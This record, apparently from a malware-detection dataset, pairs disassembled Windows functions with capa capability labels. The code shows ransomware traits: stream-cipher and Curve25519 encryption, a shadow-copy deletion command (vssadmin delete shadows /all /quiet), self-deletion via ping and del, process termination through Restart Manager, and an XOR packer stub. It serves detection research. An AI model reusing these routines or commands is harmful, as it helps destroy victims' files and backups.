joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401150
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [ebx], 0x61707865
mov dword [ebx + 4], 0x3320646e
mov dword [ebx + 8], 0x79622d32
mov dword [ebx + 0xc], 0x6b206574
movzx esi, byte [edi + 3]
movzx eax, byte [edi + 2]
shl esi, 8
or esi, eax
movzx eax, byte [edi + 1]
shl esi, 8
or esi, eax
movzx eax, byte [edi]
shl esi, 8
or esi, eax
mov dword [ebx + 0x10], esi
movzx ecx, byte [edi + 7]
movzx eax, byte [edi + 6]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 4]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x14], ecx
movzx ecx, byte [edi + 0xb]
movzx eax, byte [edi + 0xa]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 9]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 8]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x18], ecx
movzx ecx, byte [edi + 0xf]
movzx eax, byte [edi + 0xe]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0xd]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0xc]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x1c], ecx
movzx ecx, byte [edi + 0x13]
movzx eax, byte [edi + 0x12]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x11]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x10]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x20], ecx
movzx ecx, byte [edi + 0x17]
movzx eax, byte [edi + 0x16]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x15]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x14]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x24], ecx
movzx ecx, byte [edi + 0x1b]
movzx eax, byte [edi + 0x1a]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x19]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x18]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x28], ecx
movzx ecx, byte [edi + 0x1f]
movzx eax, byte [edi + 0x1e]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x1d]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x1c]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x30], 0
mov dword [ebx + 0x2c], ecx
mov dword [ebx + 0x34], 0
movzx ecx, byte [edx + 3]
movzx eax, byte [edx + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x38], ecx
movzx ecx, byte [edx + 7]
movzx eax, byte [edx + 6]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 4]
shl ecx, 8
pop edi
or ecx, eax
mov dword [ebx + 0x80], 0x40
pop esi
mov dword [ebx + 0x3c], ecx
pop ebx
pop ebp
ret
Function at 0x404a20
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x423004]
xor eax, ebp
mov dword [ebp - 8], eax
movups xmm0, xmmword [edx]
push esi
movups xmm1, xmmword [edx + 0x10]
mov edx, dword [ebp + 8]
mov esi, ecx
movd eax, xmm0
lea ecx, [ebp - 0x16c]
movups xmmword [ebp - 0x18], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [ebp - 0x28], xmm0
mov byte [ebp - 0x28], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [ebp - 9], al
call fcn.00401fd0
lea eax, [ebp - 0x16c]
push eax
lea eax, [ebp - 0x28]
push eax
lea edx, [ebp - 0x84]
lea ecx, [ebp - 0x20c]
call fcn.00403290
lea edx, [ebp - 0x84]
lea ecx, [ebp - 0x1bc]
call fcn.00403600
lea eax, [ebp - 0x1bc]
push eax
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0x11c]
call fcn.00401590
add esp, 0xc
lea ecx, [ebp - 0x11c]
call fcn.00401a60
lea ecx, [ebp - 0x11c]
call fcn.00401b40
movups xmm0, xmmword [ebp - 0x11c]
lea edx, [ebp - 0x84]
mov ecx, esi
movups xmmword [ebp - 0x84], xmm0
movups xmm0, xmmword [ebp - 0x10c]
movups xmmword [ebp - 0x74], xmm0
movups xmm0, xmmword [ebp - 0xfc]
movups xmmword [ebp - 0x64], xmm0
movups xmm0, xmmword [ebp - 0xec]
movups xmmword [ebp - 0x54], xmm0
movups xmm0, xmmword [ebp - 0xdc]
movups xmmword [ebp - 0x44], xmm0
call fcn.004022d0
mov ecx, dword [ebp - 8]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.00406a54
mov esp, ebp
pop ebp
ret

Function at 0x404b30
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x423004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push 0x420350
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x424310
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 2
push 0
push 0
push eax
mov dword [0x423884], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x210]
push eax
push 0x26
push str._r_n
push dword [0x423884]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406a54
mov esp, ebp
pop ebp
ret
Function at 0x404be0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x423004]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x1000
push 8
push dword [0x42477c]
call edi
mov esi, eax
test esi, esi
jne 0x404c33
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x80
call ebx
push 0x1000
push 8
push dword [0x42477c]
call edi
mov esi, eax
test esi, esi
je 0x404c17
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
push 0x7e7
push esi
call dword [sym.imp.SHLWAPI.dll_wvnsprintfW]
mov ebx, eax
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x94]
movzx eax, word [ebp - 0x9a]
push ecx
movzx ecx, word [ebp - 0x96]
push ecx
movzx ecx, word [ebp - 0x98]
push ecx
push eax
movzx eax, word [ebp - 0x9e]
push eax
movzx eax, word [ebp - 0xa0]
push eax
lea eax, [ebp - 0x8c]
push str.__hu__hu__hu__hu:_hu:_hu_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x20
mov edi, eax
push 0x424310
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
lea eax, [ebp - 0x90]
push eax
lea eax, [edi + edi]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
lea eax, [ebp - 0x8c]
push eax
push dword [0x423884]
call edi
push 0
lea eax, [ebp - 0x90]
push eax
lea eax, [ebx + ebx]
push eax
push esi
push dword [0x423884]
call edi
push 0
lea eax, [ebp - 0x90]
push eax
push 4
push 0x420398
push dword [0x423884]
call edi
push 0x424310
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push esi
push 0
push dword [0x42477c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406a54
mov esp, ebp
pop ebp
ret

Function at 0x404da0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
cmp dword [0x424300], 0
jne 0x404dd2
push str.GlobalELECTRONICMutex
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x424728], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x404dd2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
ret
Function at 0x404e40
Capabilities:
Create process on windows
Delete volume shadow copies

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x423004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push str.IsWow64Process
push str.kernel32
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x404e89
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 8], 0
je 0x404e99
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
push 0
push 0
push str._c_vssadmin.exe_delete_shadows__all__quiet
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push str.IsWow64Process
push str.kernel32
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x404ee5
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 8], 0
pop esi
je 0x404ef5
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406a54
mov esp, ebp
pop ebp
ret

Function at 0x404f70
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
mov eax, dword [0x423004]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x424304], 0
je 0x404fd9
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x80c]
push str._c_ping_127.0.0.1__n_4___nul__del___s_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x80c]
push 0
push 0
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406a54
mov esp, ebp
pop ebp
ret
Function at 0x4050d0
Capabilities:
Create restart manager session
Enumerate processes that use resource
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [0x423004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
lea eax, [ebp - 0x48]
mov dword [ebp - 0x5c], ecx
push eax
push 0
lea eax, [ebp - 0x50]
mov dword [ebp - 0x50], 0
xor bl, bl
mov dword [ebp - 0x54], 0
push eax
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x4c], 0
mov byte [ebp - 0x5d], bl
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x405271
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x5c]
push eax
push 1
push dword [ebp - 0x50]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x405268
lea eax, [ebp - 0x54]
push eax
push 0
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x50]
call dword [sym.imp.RstrtMgr.DLL_RmGetList]
cmp eax, 0xea
jne 0x405268
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
imul esi, dword [ebp - 0x58], 0x29c
push edi
push esi
push 8
push dword [0x42477c]
call ebx
mov edi, eax
mov dword [ebp - 0x70], edi
test edi, edi
jne 0x40519f
nop dword [eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x42477c]
call ebx
mov edi, eax
mov dword [ebp - 0x70], eax
test edi, edi
je 0x405180
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x54]
push eax
push edi
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x50]
call dword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
jne 0x405254
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, dword [ebp - 0x4c]
xor ecx, ecx
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x6c], ecx
test ebx, ebx
je 0x405254
mov esi, edi
lea edi, [ecx + 1]
nop dword [eax]
mov edx, dword [esi]
cmp edx, eax
je 0x405243
mov eax, dword [esi + 0x28c]
cmp eax, 4
je 0x405240
cmp eax, 0x3e8
je 0x405240
push edx
push 0
push 0x100001
xor bl, bl
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x68], eax
test eax, eax
je 0x405237
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0xbb8
push dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
movzx ebx, bl
cmove ebx, edi
push dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add byte [ebp - 0x5d], bl
mov ebx, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x64]
inc ecx
add esi, 0x29c
mov dword [ebp - 0x6c], ecx
cmp ecx, ebx
jb 0x4051e0
mov edi, dword [ebp - 0x70]
push edi
push 0
push dword [0x42477c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov bl, byte [ebp - 0x5d]
pop edi
pop esi
push dword [ebp - 0x50]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov ecx, dword [ebp - 4]
mov al, bl
xor ecx, ebp
pop ebx
call fcn.00406a54
mov esp, ebp
pop ebp
ret
Function at 0x406240
Capabilities:
Create thread
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
mov eax, dword [0x423004]
xor eax, esp
mov dword [esp + 0x28], eax
push ebx
push esi
push edi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [esp + 0x24]
mov ecx, 0x40
cmp eax, ecx
cmova eax, ecx
push eax
push 0
push 0
push 0xffffffffffffffff
mov dword [0x424774], eax
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x424770], eax
test eax, eax
je 0x4063c2
mov eax, dword [0x424774]
lea esi, [eax*4]
push esi
push 8
push dword [0x42477c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, eax
test edi, edi
jne 0x4062d2
push 0x80
call ebx
push esi
push 8
push dword [0x42477c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x4062b6
mov eax, dword [0x424774]
xor esi, esi
test eax, eax
je 0x406302
nop dword [eax]
push 0
push 0
push 0
push 0x405e30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + esi*4], eax
inc esi
mov eax, dword [0x424774]
cmp esi, eax
jb 0x4062e0
push eax
push str._lu_I_O_Workers_Created
call fcn.00404be0
mov eax, dword [0x42430c]
add esp, 8
test eax, eax
je 0x406321
push eax
call fcn.004056e0
jmp 0x406326
call fcn.00405b00
push str.Waiting_For_I_O_Workers
call fcn.00404be0
add esp, 4
push 0x300
call ebx
mov eax, dword [0x42472c]
cmp dword [0x424778], eax
jne 0x406333
mov eax, dword [0x424774]
xor esi, esi
test eax, eax
je 0x406370
mov ebx, dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
push 0
push 0
push 0
push dword [0x424770]
call ebx
mov eax, dword [0x424774]
inc esi
cmp esi, eax
jb 0x406358
push 0xffffffffffffffff
push 1
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
cmp dword [0x424774], esi
jbe 0x40639e
nop dword [eax]
push dword [edi + esi*4]
call ebx
inc esi
cmp esi, dword [0x424774]
jb 0x406390
push edi
push 0
push dword [0x42477c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [0x424770]
call ebx
push str.The_End_:L
call fcn.00404be0
add esp, 4
mov ecx, dword [esp + 0x34]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00406a54
mov esp, ebp
pop ebp
ret

Function at 0x4063e0
Capabilities:
Hide graphical window

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
ret
Function at 0x407259
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x407298
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x407298
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x407298
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x407298
cmp dword [ecx + 0x74], 0xe
jbe 0x407298
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4104da
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x410577
push ebx
push esi
call fcn.004104a3
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00410437
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x410524
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x410576
push edi
push eax
call fcn.0040db75
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x410544
call fcn.0040db3b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x410575
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00410437
add esp, 0x20
test eax, eax
jne 0x410563
push edi
call fcn.0040db3b
jmp 0x41056b
push ebx
call fcn.0040db3b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x411634
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41c458
push 0x41c450
push str.FlsAlloc
push 0x1f
call fcn.004114f3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x411668
push dword [ebp + 8]
mov ecx, esi
call dword [0x41a1d4]
call esi
jmp 0x41166e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4116b2
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41c468
push 0x41c460
push str.FlsGetValue
push 0x21
call fcn.004114f3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4116e9
push dword [ebp + 8]
mov ecx, esi
call dword [0x41a1d4]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4116f1
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41c470
push 0x41c468
push str.FlsSetValue
push 0x22
call fcn.004114f3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41172b
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41a1d4]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x418a60
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x418a8d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x418a8d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x1ada1d3b
nop
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
mov ecx, 0xd110c54
nop
nop
nop
test eax, eax
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x41a271
Capabilities:
Connect pipe
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
cmp dword [0x45ca9c], 0x60b
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
push ebx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
mov dword [ebp - 0x14], edx
mov edx, dword [ecx + 4]
push esi
mov esi, dword [ebx + 4]
mov dword [ebp - 0x10], edx
mov edx, dword [ecx + 8]
mov ecx, dword [ecx + 0xc]
push edi
mov edi, 0xc6ef3720
mov dword [ebp + 8], eax
mov dword [ebp - 4], edi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0xc], ecx
jne 0x41a2d5
xor eax, eax
push eax
lea ecx, [ebp + 0xc]
push ecx
push eax
lea ecx, [ebp - 0x418]
push ecx
push eax
push eax
push 0x401370
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
mov eax, dword [ebp + 8]
mov dword [ebp - 8], 0x20
jmp 0x41a2e1
mov edi, dword [ebp - 4]
push dword [ebp - 0x18]
shl eax, 4
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
push eax
call fcn.0041a217
mov eax, dword [ebp + 8]
and dword [0x4590a0], 0
mov ecx, eax
shr ecx, 5
add ecx, dword [ebp - 0xc]
add eax, edi
xor ecx, eax
xor ecx, dword [ebp + 0xc]
mov dword [ebp + 0xc], ecx
mov eax, dword [ebp + 0xc]
add dword [0x4590a0], eax
or dword [0x4590ac], 0xffffffff
sub esi, ecx
mov eax, esi
shr eax, 5
add eax, dword [ebp - 0x10]
mov ecx, esi
shl ecx, 4
add ecx, dword [ebp - 0x14]
push eax
add edi, esi
lea eax, [ebp + 0xc]
xor ecx, edi
push eax
mov dword [0x4590a8], 0xc5e121b4
mov dword [ebp + 0xc], ecx
call fcn.0041a20a
mov eax, dword [ebp + 0xc]
sub dword [ebp + 8], eax
push 0x9e3779b9
lea eax, [ebp - 4]
push eax
call fcn.00419fd3
dec dword [ebp - 8]
mov eax, dword [ebp + 8]
jne 0x41a2de
pop edi
mov dword [ebx + 4], esi
pop esi
mov dword [ebx], eax
pop ebx
leave
ret 8

Function at 0x41a378
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x494
push esi
xor esi, esi
cmp dword [0x45ca9c], 0x516
jne 0x41a39e
push esi
lea eax, [ebp - 0x494]
push eax
push esi
call sub.KERNEL32.dll_VerLanguageNameA
mov eax, dword [ebp + 0xc]
shr eax, 3
cmp eax, esi
jbe 0x41a3fc
push ebx
push edi
mov edi, dword [ebp + 8]
mov ebx, eax
cmp dword [0x45ca9c], 0x29
jne 0x41a3bf
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
cmp dword [0x45ca9c], 0x1c
jne 0x41a3eb
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [ebp + 0x10]
push edi
call fcn.0041a271
add edi, 8
dec ebx
jne 0x41a3af
pop edi
pop ebx
pop esi
leave
ret 0xc
Function at 0x41a401
Capabilities:
Copy file
Get disk information
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd18
push esi
xor esi, esi
cmp dword [0x45ca9c], 0x37
jne 0x41a50e
push edi
xor eax, eax
mov dword [ebp - 0x48], esi
lea edi, [ebp - 0x44]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x6c]
push eax
push 0x4013a0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
xor eax, eax
mov word [ebp - 0x24], ax
lea edi, [ebp - 0x22]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomW]
xor eax, eax
mov word [ebp - 0x14], ax
lea edi, [ebp - 0x12]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [ebp - 0x34], ax
lea edi, [ebp - 0x32]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
push esi
call dword [sym.imp.KERNEL32.dll_LocalHandle]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push esi
lea eax, [ebp - 0xd18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0x4013c8
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push esi
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x518]
push eax
push dword [ebp + 8]
push 0x401448
call dword [sym.imp.KERNEL32.dll_FindFirstFileExA]
pop edi
mov dword [ebp - 4], esi
mov eax, dword [0x45caa0]
add dword [ebp - 4], eax
mov eax, 0x12336
add dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov cl, byte [ecx + eax]
mov edx, dword [0x45909c]
mov byte [edx + eax], cl
pop esi
leave
ret 4